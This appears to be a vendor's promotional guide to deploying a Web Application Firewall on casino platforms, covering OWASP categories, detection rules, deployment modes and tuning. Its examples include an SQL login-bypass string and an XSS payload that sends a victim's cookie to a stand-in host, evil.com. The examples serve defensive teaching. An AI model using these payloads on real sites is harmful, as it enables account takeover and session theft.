# Web Application Firewall
# Implementation Guide
[Application Layer Defense]
While network-level defenses handle volumetric attacks, casino solutions need application-layer protection against sophisticated exploits. Web Application Firewalls (WAF) analyze HTTP traffic to block SQL injection, XSS, and other OWASP Top 10 threats. This implementation guide from Powersoft covers enterprise WAF deployment.
## What WAF Protects Against
Casino platforms face constant application-layer attacks:
### OWASP Top 10 Coverage
[A01] Broken Access Control
[A02] Cryptographic Failures
[A03] Injection (SQL, NoSQL, OS, LDAP)
[A04] Insecure Design
[A05] Security Misconfiguration
[A06] Vulnerable Components
[A07] Auth Failures
[A08] Data Integrity Failures
[A09] Logging Failures
[A10] SSRF
## SQL Injection Protection
The most dangerous attack against casino solution databases.
### Attack Example
// Malicious input:
username: admin'--
password: anything
// Resulting query:
SELECT * FROM users
WHERE username='admin'--' AND password='anything'
// Comment bypasses password check!
### WAF Detection Rules
RULE: Block requests containing:
- Single quotes followed by SQL keywords
- UNION SELECT patterns
- OR 1=1 variations
- Comment sequences (--) in parameters
- Hex-encoded SQL keywords
## XSS Prevention
Cross-site scripting attacks target users through your casino platform.
### Attack Example
// Malicious comment submission:
<script>
fetch('https://evil.com/steal?cookie='+document.cookie)
</script>
// Executes in victim's browser!
### WAF Detection Rules
RULE: Block requests containing:
- <script> tags
- JavaScript event handlers (onload, onerror)
- javascript: protocol
- Data URIs with script content
- Encoded script variations
## WAF Deployment Modes
Inline (Blocking)
WAF sits in traffic path. Actively blocks malicious requests. Production recommended.
Out-of-Band (Monitoring)
Traffic mirrored to WAF. Logs threats without blocking. Initial deployment/tuning.
## Rule Configuration
Balance security with usability in casino solutions.
### Recommended Configuration
# Core Rule Set
OWASP_CRS_VERSION: 4.0
PARANOIA_LEVEL: 2 # 1-4, higher = stricter
# Blocking Thresholds
INBOUND_ANOMALY_SCORE: 5
OUTBOUND_ANOMALY_SCORE: 4
# Allowed Methods
ALLOWED_METHODS: GET POST PUT DELETE OPTIONS
# File Upload Limits
MAX_FILE_SIZE: 10485760 # 10MB
## WAF Solutions
→ AWS WAF: Native AWS integration, managed rules
→ Cloudflare WAF: Edge-deployed, ML-enhanced
→ Imperva: Specialized application security
→ ModSecurity: Open-source, self-hosted option
## False Positive Management
Legitimate requests sometimes trigger rules. Fine-tune to avoid blocking users.
### Tuning Process
1. Deploy in monitoring mode first
2. Analyze blocked requests for false positives
3. Create targeted rule exceptions
4. Test exceptions don't create vulnerabilities
5. Switch to blocking mode
6. Continuous monitoring and adjustment
## Conclusion
WAF is essential for casino platform security—providing defense against injection attacks, XSS, and other application-layer threats. Combined with network-level protection, WAF creates comprehensive defense in depth.
Deploy enterprise WAF with Powersoft—protecting applications from day one.